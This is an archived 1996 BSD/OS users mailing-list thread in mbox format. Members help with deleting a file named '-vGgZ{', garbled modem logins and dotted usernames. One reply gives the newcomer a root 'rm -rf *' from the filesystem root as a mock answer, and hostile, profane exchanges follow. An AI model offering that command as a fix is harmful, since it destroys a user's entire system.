96 05:00 PST anyone successfully made and installed kerberos v5? randy From VM Sun Dec 1 18:03:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["394" "" "30" "November" "1996" "01:49:59" "GMT" "Richard Drage" "richard@proweb.net" nil "28" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA10648 for ; Sat, 30 Nov 1996 08:08:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA05488 for bsdi-users-outgoing; Sat, 30 Nov 1996 08:09:56 -0500 (EST) Path: vixen.cso.uiuc.edu!news.uoregon.edu!arclight.uoregon.edu!enews.sgi.com!ix.netcom.com!netcom.net.uk!xara.net!emerald.xara.net!Aladdin!proweb!usenet Newsgroups: info.bsdi.users Organization: Proweb (UK) Ltd Lines: 26 Message-ID: <01bbde60$f3dd1680$0a8eb0c2@Richard.Proweb> References: NNTP-Posting-Host: red.proweb.net X-Newsreader: Microsoft Internet News 4.70.1155 X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: "Richard Drage" Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: files with a - in them Date: 30 Nov 1996 01:49:59 GMT Have you tried : rm "-*" Works for most 'odd' file names Regards Richard Drage richard@proweb.net Brian Backer wrote in article ... > > Anyone every had any luck getting rid of files with names > starting like > > -* > > That "-" really screws things up, if ther is a way, please let me know. > > From VM Sun Dec 1 18:03:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["182" "Sat" "30" "November" "1996" "10:46:06" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "12" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA14973 for ; Sat, 30 Nov 1996 10:55:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA05659 for bsdi-users-outgoing; Sat, 30 Nov 1996 10:47:27 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Sat, 30 Nov 1996 10:46:06 -0500 (EST) > The exact file name is -vGgZ{ > every time I try someones recomendation, it either says > no match or > missing } Put it in quotes, a la: rm -- "-vGgZ{" That will work. - rh From VM Sun Dec 1 18:03:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["213" "Sat" "30" "November" "1996" "10:50:47" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "8" "Re: Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA14977 for ; Sat, 30 Nov 1996 10:56:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA05667 for bsdi-users-outgoing; Sat, 30 Nov 1996 10:51:22 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Stavros Patiniotis cc: Barry Hemphill , bsdi-users@BSDI.COM, "Y.F.SysAdmin" Subject: Re: Usernames with a . in them Date: Sat, 30 Nov 1996 10:50:47 -0500 (EST) > A lot of university have lecturers names in full ie john.smith@uni.edu > I suppose it helps them keep a track of who is who. But I'm willing to bet that those names are aliases for the real usernames. - rh From VM Sun Dec 1 18:04:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["188" "Sat" "30" "November" "1996" "08:52" "PST" "Randy Bush" "randy@psg.com" nil "10" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA16798 for ; Sat, 30 Nov 1996 11:58:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA05788 for bsdi-users-outgoing; Sat, 30 Nov 1996 11:52:19 -0500 (EST) Message-Id: Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Sat, 30 Nov 96 08:52 PST > The exact file name is -vGgZ{ > every time I try someones recomendation, it either says > no match or missing } cd / su rm -rf * if that does not work, go read the unix new users faq From VM Sun Dec 1 18:04:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["594" "Sat" "30" "November" "1996" "10:09:38" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "19" "Garbled Login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA18280 for ; Sat, 30 Nov 1996 12:53:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA05852 for bsdi-users-outgoing; Sat, 30 Nov 1996 12:47:07 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Garbled Login Date: Sat, 30 Nov 1996 10:09:38 -0800 (PST) Ok. I have got my modem/digiboard problem resolved(I think). I am using BSDI 2.1, with USR 33.6 External modems, and 16 EM/DIGIs. When I try to login to the server via modem, I get nothing but a bunch a garble. This happens on both PPP and shell. I have looked at all of my settings in the /etc/ttys, /etc/remote, and /etc/ppp.sys. Does anyone have any ideas as to why my logins are nothing but garble now. Any suggestions would be greatly appreciated. Thanks in advance. Chris McGlasson System Administrator Net Connection of Bakersfield 805.391.0561 chrism@chiba.netxn.com From VM Sun Dec 1 18:04:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1337" "Sat" "30" "November" "1996" "09:00:07" "-0800" "Greg Shenaut" "greg@mailgate.bogs.org" nil "33" "Re: files with a - in them " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA18286 for ; Sat, 30 Nov 1996 12:53:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA05858 for bsdi-users-outgoing; Sat, 30 Nov 1996 12:47:34 -0500 (EST) Message-Id: <199611301700.JAA09859@myrtle.bogs.org> In-reply-to: Your message of "Fri, 29 Nov 1996 23:54:11 EST." Reply-To: gkshenaut@ucdavis.edu Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Sat, 30 Nov 1996 09:00:07 -0800 In message , Brian Backer quoth: " The exact file name is -vGgZ{ " every time I try someones recomendation, it either says " no match or " missing } This is a bit more complicated than your original question, which was how to delete a file called -*. In order to do this correctly, not only do you have to tell "rm" that the leading - is not a command-line flag, but you have to enter a command which is syntactically correct so that the shell will execute it. The solution to the first problem has already been posted: you can use the '--' end-of-flags pseudoflag. This doesn't exist in elderly versions of rm, but it definitely works in BSD/OS's. Or, you can make the file name not contain a leading '-', by using ./-XYZ or /usr/splotch/foobar/grinch/-XYZ (this was the only solution before the -- pseudoflag was introduced). The other problem has to do with faking out the shell so that a filename containing special characters is not interpreted in terms of shell syntax. To do this you can quote the filename using one of the quoting mechanisms (the best is usually '-XYZ', but "-XYZ" or -\XYZ can also be useful at times). So, putting this together, to use rm from the shell to delete your file, enter rm -- './-vGgz{' BTW, I just tried this and it works. -Greg From VM Sun Dec 1 18:04:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["157" "Sat" "30" "November" "1996" "12:32:04" "-0600" "M. Dickens" "mdickens@tetranet.net" nil "10" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA19400 for ; Sat, 30 Nov 1996 13:39:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA05913 for bsdi-users-outgoing; Sat, 30 Nov 1996 13:32:21 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M. Dickens" Sender: owner-bsdi-users@lists.gateway.com To: Randy Bush cc: Brian Backer , bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Sat, 30 Nov 1996 12:32:04 -0600 (CST) > > The exact file name is -vGgZ{ > > every time I try someones recomendation, it either says > > no match or missing } > rm "-vGgZ{" should work... From VM Sun Dec 1 18:04:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1656" "Sat" "30" "November" "1996" "10:21:25" "-0800" "The Black Spot" "gerryt@nebulus.net" nil "48" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA20479 for ; Sat, 30 Nov 1996 14:22:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA06027 for bsdi-users-outgoing; Sat, 30 Nov 1996 14:15:20 -0500 (EST) Message-Id: In-Reply-To: <199611301700.JAA09859@myrtle.bogs.org> from "Greg Shenaut" at Nov 30, 96 09:00:07 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: gerryt@nebulus.net (The Black Spot) Sender: owner-bsdi-users@lists.gateway.com To: gkshenaut@ucdavis.edu Cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Sat, 30 Nov 1996 10:21:25 -0800 (PST) I always use -i just in case. : > When all else fails : emacs bad-filename-dir Position cursor at bad file name Press d Press x If you agree with the prompt, type yes Sometimes the name is hard to guess if its got ^H's and > 128 chars.. cheers! > > In message , Brian Backer quoth: > " The exact file name is -vGgZ{ > " every time I try someones recomendation, it either says > " no match or > " missing } > > This is a bit more complicated than your original question, which was how > to delete a file called -*. In order to do this correctly, not only do > you have to tell "rm" that the leading - is not a command-line flag, but > you have to enter a command which is syntactically correct so that the > shell will execute it. > > The solution to the first problem has already been posted: you can use the > '--' end-of-flags pseudoflag. This doesn't exist in elderly versions of > rm, but it definitely works in BSD/OS's. Or, you can make the file name > not contain a leading '-', by using ./-XYZ or /usr/splotch/foobar/grinch/-XYZ > (this was the only solution before the -- pseudoflag was introduced). > > The other problem has to do with faking out the shell so that a > filename containing special characters is not interpreted in terms > of shell syntax. To do this you can quote the filename using one > of the quoting mechanisms (the best is usually '-XYZ', but "-XYZ" or > -\XYZ can also be useful at times). > > So, putting this together, to use rm from the shell to delete your > file, enter > > rm -- './-vGgz{' > > BTW, I just tried this and it works. > > -Greg > From VM Sun Dec 1 18:04:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2332" "Sat" "30" "November" "1996" "10:52:33" "-0800" "The Black Spot" "gerryt@nebulus.net" nil "63" "Re: Garbled Login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA20754 for ; Sat, 30 Nov 1996 14:23:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA06033 for bsdi-users-outgoing; Sat, 30 Nov 1996 14:15:27 -0500 (EST) Message-Id: In-Reply-To: from "Chris McGlasson" at Nov 30, 96 10:09:38 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: gerryt@nebulus.net (The Black Spot) Sender: owner-bsdi-users@lists.gateway.com To: chrism@chiba.netxn.com (Chris McGlasson) Cc: bsdi-users@BSDI.COM Subject: Re: Garbled Login Date: Sat, 30 Nov 1996 10:52:33 -0800 (PST) > > Ok. I have got my modem/digiboard problem resolved(I think). I am using > BSDI 2.1, with USR 33.6 External modems, and 16 EM/DIGIs. > > When I try to login to the server via modem, I get nothing but a bunch a > garble. This happens on both PPP and shell. > > I have looked at all of my settings in the /etc/ttys, /etc/remote, and > /etc/ppp.sys. Does anyone have any ideas as to why my logins are nothing > but garble now. Assuming those garbles ARENT ppp strings : >, DTE's dont match somewhere? I suggest working on a single channel until you get consistent results. Dialout through tty00 to tty01 for instance. I dont know if you are using getty or???? Lets assume so. 16 digis should be able to handle 115200 so setup gettytab and ttys for the rate 115200 hardware flow bidir for the test kill the tty01 getty process ps -ax | grep tty01 Is tty01 "listening" at 115200? good. Make sure your switches on the USRs are correct for your dialup pool Lets assume auto answer so set switch 5 accordingly. set /etc/remote tty01 entry to 115200 tip tty01 at&f1Y0m0e0&w0 This sets the default speed for the modem itself. The floor and ceiling AT registers dont appear to do squat by the way so forget them. Same goes for S13=1 - This seems to cause more problems than it solves - it did for me anyway. Make sure the account you are dialling into is set for 115200 as well. Anyway this should set things up to dial in. tty00 can be any resonable setting - it shouldnt be the same though otherwise you arent testing much... Try 38400 for tty00 Alter setings in ttys for tty00 and etc/remote then tip tty00 hang up. ( ~.) Dial out on tty00 to tty01's phone number. Try to login to a nonppp account first. If that works so should ppp : > If regular logins do but ppp doesnt - it aint the digis or getty : > If nothing happens, run tip on a different screen for tty01 and watch what happens - do you get a ring?? what speed do you connect on? If you get a login then change your dialup port to a digi It should work the same way. Get SOMETHING working first : > -g ( who has a question - why use digis for dialup anyway? ) > > Any suggestions would be greatly appreciated. Thanks in advance. > > Chris McGlasson > System Administrator > Net Connection of Bakersfield > 805.391.0561 > chrism@chiba.netxn.com > > From VM Sun Dec 1 18:04:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["344" "Sat" "30" "November" "1996" "14:45:15" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "17" "******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21568 for ; Sat, 30 Nov 1996 15:02:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA06215 for bsdi-users-outgoing; Sat, 30 Nov 1996 14:54:14 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Randy Bush cc: bsdi-users@BSDI.COM Subject: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 14:45:15 -0500 (EST) What kind of shit is this. This is totally assinine. I cant believe you would suggest this. On Sat, 30 Nov 1996, Randy Bush wrote: > > The exact file name is -vGgZ{ > > every time I try someones recomendation, it either says > > no match or missing } > > cd / > su > rm -rf * > > if that does not work, go read the unix new users faq > From VM Sun Dec 1 18:04:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["768" "Sat" "30" "November" "1996" "14:46:43" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "25" "Re: Garbled Login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21573 for ; Sat, 30 Nov 1996 15:03:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA06230 for bsdi-users-outgoing; Sat, 30 Nov 1996 14:55:56 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Garbled Login Date: Sat, 30 Nov 1996 14:46:43 -0500 (EST) I would check your modem registers (at&v) and see if you have error correction setup. On Sat, 30 Nov 1996, Chris McGlasson wrote: > Ok. I have got my modem/digiboard problem resolved(I think). I am using > BSDI 2.1, with USR 33.6 External modems, and 16 EM/DIGIs. > > When I try to login to the server via modem, I get nothing but a bunch a > garble. This happens on both PPP and shell. > > I have looked at all of my settings in the /etc/ttys, /etc/remote, and > /etc/ppp.sys. Does anyone have any ideas as to why my logins are nothing > but garble now. > > Any suggestions would be greatly appreciated. Thanks in advance. > > Chris McGlasson > System Administrator > Net Connection of Bakersfield > 805.391.0561 > chrism@chiba.netxn.com > > From VM Sun Dec 1 18:04:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3423" "Sat" "30" "November" "1996" "14:39:39" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "88" "Re: files with a - in them " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21577 for ; Sat, 30 Nov 1996 15:03:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA06184 for bsdi-users-outgoing; Sat, 30 Nov 1996 14:48:19 -0500 (EST) In-Reply-To: <96Nov29.211159pst."304513"@reynaldo.parc.xerox.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Berry Kercheval cc: Richard Drage , bsdi-users@lists.gateway.com Subject: Re: files with a - in them Date: Sat, 30 Nov 1996 14:39:39 -0500 (EST) Yes, you are correct for the file name given it be '-foo' But the file name is '-vGgZ{' None of your suggestions will remove it, I know there has to be a way and I have done alot of reading to solve it myself, but it clearly will not go away. It is a virus of sorts. :) and the only problem with it really is that it bugs me. On Fri, 29 Nov 1996, Berry Kercheval wrote: > >>>"Richard Drage" said: > > Have you tried : > > > > rm "-*" > > > > Works for most 'odd' file names > > Well, no. > > Ordinarily I stay out of things like this because it's SOOO basic, but there > sseems to be a fundamental misunderstanding about what's going on in some > people's minds. Apologies to folks who know this cold. > > Incidentally this is one of the most frequently asked questions about Unix, so > go find the comp.unix.questions faq and read it. It will do you good... > > And though I've been using Unix and BSD/OS a long time, I *tested* everything > I say works, and it worked, and I tested everything I say doesn't, and it > didn't. > > We want to remove a file named, say "-foo". The basic problem is that 'rm' > interprets command line arguments that start with '-' as options, such as '-f' > meaning "be quiet about things" and '-r' meaning "do all the subdirectories, > and their children, yea unto the Nth generation". > > What happens when you type > rm -foo > is (simplified) that the shell breaks the line into words, "rm" and "foo", > makes an array of pointers to these strings, and runs the 'rm' program it > finds on your $PATH with this array as argv[]. Then 'rm' looks at each > element in the list and says "Does this start with a '-'? If yes, it's a > option...". > > So quoting arguments to the shell as in > rm "-*" > won't help a bit. Rm will still get two arguments, argv[0] will be "rm" and > argv[1] will be "-*". [[ note that the quotes DO prevent the '*' from being > expanded by the shell, but that's irrelevant to this discussion.]] ANd rm > will still get confused by the '-'. (when I tried the above, I got > dzur% rm "-*" > rm: illegal option -- * > usage: rm [-dfiRr] file ... > ) > > > So, there are really only three ways to solve the problem: > > 1) Convince rm not to interpret the '-' as an option switch. This can be done > in modern versions (which BSD/OS has) by using the special option '--' which > means "terminate option processing". so > rm -- -foo > is our class 1 solution. > > 2) express the name of the file in such a way that it does not start with a > '-' character. Giving the full path ("/usr/doofus/src/lart/-foo") or a > relative path ("./-foo" -- remember that '.' is the current directory) are > examples of this class of solution. > rm ./-foo > is an example. > > 3) use a different tool to remove the file. This sidesteps the issue > altogether. Using find ('find . -name -foo -exec rm {} \;') or emacs > dired-mode are examples. My favorite is dsw. (OK, I didn't test dsw on > BSD/OS, but I did everything else, even that find command. If people ask > "What's dsw" I'll know someone read all of this...) > > Sorry for the long-windedness, but I think that educating folks about WHY this > works is important. Sort of the "Don't give a man a fish, teach him to catch > fish" principle. > > --berry > > Berry Kercheval :: kerch@parc.xerox.com :: Xerox Palo Alto Research Center > > > From VM Sun Dec 1 18:04:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1791" "Sat" "30" "November" "1996" "11:43:38" "-0700" "Merton Campbell Crockett" "mcc@wlv.iipo.gtegsc.com" nil "39" "Re: Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA21844 for ; Sat, 30 Nov 1996 15:05:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA06244 for bsdi-users-outgoing; Sat, 30 Nov 1996 14:59:35 -0500 (EST) Message-Id: <961130114419.ZM3710@SPIELZEUG.IIPO.GTEGSC.COM> In-Reply-To: Ralph Huntington "Re: Usernames with a . in them" (Nov 30, 10:50) References: X-Mailer: Z-Mail 4.0.1 (4.0.1 Apr 9 1996) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: mcc@wlv.iipo.gtegsc.com (Merton Campbell Crockett) Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington , Stavros Patiniotis Cc: Barry Hemphill , bsdi-users@BSDI.COM, "Y.F.SysAdmin" Subject: Re: Usernames with a . in them Date: Sat, 30 Nov 1996 11:43:38 -0700 On Nov 30, 10:50, Ralph Huntington wrote: > Subject: Re: Usernames with a . in them }> A lot of university have lecturers names in full ie john.smith@uni.edu }> I suppose it helps them keep a track of who is who. } }But I'm willing to bet that those names are aliases for the real usernames. As a site involved in a transition to a "Standard Internet Mail Address", I can confirm that addresses in the following format are indeed aliases. Given.I.Surname@GSC.GTE.Com The principal function of the address is to provide a standard, well-defined address format for external (and internal) to use when addressing mail. Its intent is to obviate the need for the sender to know at which site the person works, what type of mail system he uses, or the specific syntax needed to send mail to him. It's a real pain explaining to someone how to contact various individuals when they use Microsoft Mail for AppleTalk Networks using Quarterdeck's Star*Nine gateway or Microsoft SMTP Gateway, Microsoft Mail for PC Networks using the Microsoft SMTP Gateway, Microsoft Exchange with its Internet Mail Connection, cc:Mail with cc:Mail SMTP Gateway, or just plain ol' sendmail. It's amazing how many different address formats can be found in the 50+ sites throughout the world. Hell, its amazing how many address formats are used at one site. Merton Campbell Crockett Variously known as mcc@gtegsc.com mcc@[wlv | wlonex | wlonex1 | ns | wlbr | janus].iipo.gtegsc.com (repeat with mcc0, mcc1, mcc2, mcc4 as the user name) mcc%host1@wlv.iipo.gtegsc.com (Finally retired. Microsft Mail sucks!) Merton.C.Crockett@GSC.GTE.Com Actually, my addresses aren't that bad. I, at least, got every administrator to let me use my initials instead of crockettm, crockettmc, mcrockett, etc. From VM Sun Dec 1 18:04:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["264" "Sat" "30" "November" "1996" "12:26" "PST" "Randy Bush" "randy@psg.com" nil "8" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA22407 for ; Sat, 30 Nov 1996 15:34:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA06310 for bsdi-users-outgoing; Sat, 30 Nov 1996 15:27:05 -0500 (EST) Message-Id: References: Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 96 12:26 PST > What kind of shit is this. This is totally assinine. > I cant believe you would suggest this. that's what many of us think of posting unix newbie questions to the BSDI list and then having all the other unix newbies try to answer it. are we catching on yet? From VM Sun Dec 1 18:04:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["286" "Sat" "30" "November" "1996" "15:42:00" "-0500" "Brian Ang Dawn" "ang@inet.net" nil "14" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA22958 for ; Sat, 30 Nov 1996 15:47:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA06349 for bsdi-users-outgoing; Sat, 30 Nov 1996 15:43:23 -0500 (EST) Message-ID: <32A09C18.7A9B@inet.net> Reply-To: ang@inet.net X-Mailer: Mozilla 3.0Gold (WinNT; I) MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Brian & Dawn Sender: owner-bsdi-users@lists.gateway.com To: Randy Bush CC: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Sat, 30 Nov 1996 15:42:00 -0500 Randy Bush wrote: > > > The exact file name is -vGgZ{ > > every time I try someones recomendation, it either says > > no match or missing } > > cd / > su > rm -rf * > > if that does not work, go read the unix new users faq Ooooh. That's real intelligent. How old are you? 12? Brian From VM Sun Dec 1 18:04:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["392" "Sat" "30" "November" "1996" "15:41:50" "-0500" "Bryan Fullerton" "bryanf@samurai.com" nil "17" "Re: files with a - in them " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA22962 for ; Sat, 30 Nov 1996 15:48:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA06343 for bsdi-users-outgoing; Sat, 30 Nov 1996 15:42:35 -0500 (EST) Message-Id: <3.0.1.32.19961130154140.006d9734@home.samurai.com> X-Sender: bryanf@home.samurai.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 3 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bryan Fullerton Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: bsdi-users@lists.gateway.com Subject: Re: files with a - in them Date: Sat, 30 Nov 1996 15:41:50 -0500 At 02:39 PM 11/30/96 -0500, you wrote: > >But the file name is '-vGgZ{' >None of your suggestions will remove it, I know there has to be a way and >I have done alot of reading to solve it myself, but it clearly will not >go away. It is a virus of sorts. :) and the only problem with it really >is that it bugs me. rm ./-vGgz\{ Now please get this crap off bsdi-users. Bryan From VM Sun Dec 1 18:04:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1313" "Sat" "30" "November" "1996" "13:02:58" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "37" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23514 for ; Sat, 30 Nov 1996 16:12:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA06389 for bsdi-users-outgoing; Sat, 30 Nov 1996 16:01:26 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: Randy Bush cc: Brian Backer , bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 13:02:58 -0800 (PST) What makes this one especially bad is a "man rm" reveals:- Users often wonder how to deal with filenames that begin with ``-'', giv- en that arguments that begin with ``-'' are usually treated as flags. The special flag ``--'' tells programs not to interpret following arguments as flags. Thus, to delete a file named ``-foo'', type: rm -- -foo So not only are people posting non-BSDI specific questions to a BSDI users list they're failing, once again, to follow some of the basic principle. That is READ THE FUCKING MANUAL. I'm one of the ones who share Randy's frustration. Unix newbie questions belong on comp.unix.misc or wherever. Not here. On Sat, 30 Nov 1996, Randy Bush wrote: > > What kind of shit is this. This is totally assinine. > > I cant believe you would suggest this. > > that's what many of us think of posting unix newbie questions to the BSDI > list and then having all the other unix newbies try to answer it. > > are we catching on yet? > -- Regards, Tom ________________________________________________________________________ | "The Egg Domain" | "And all you touch and all you see, | | tomg@egg.com | is all your life will ever be." | | http://www.egg.com/ | (Pink Floyd) | From VM Sun Dec 1 18:04:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1914" "Sat" "30" "November" "1996" "16:15:13" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "54" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA24067 for ; Sat, 30 Nov 1996 16:36:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA06479 for bsdi-users-outgoing; Sat, 30 Nov 1996 16:24:17 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Tom 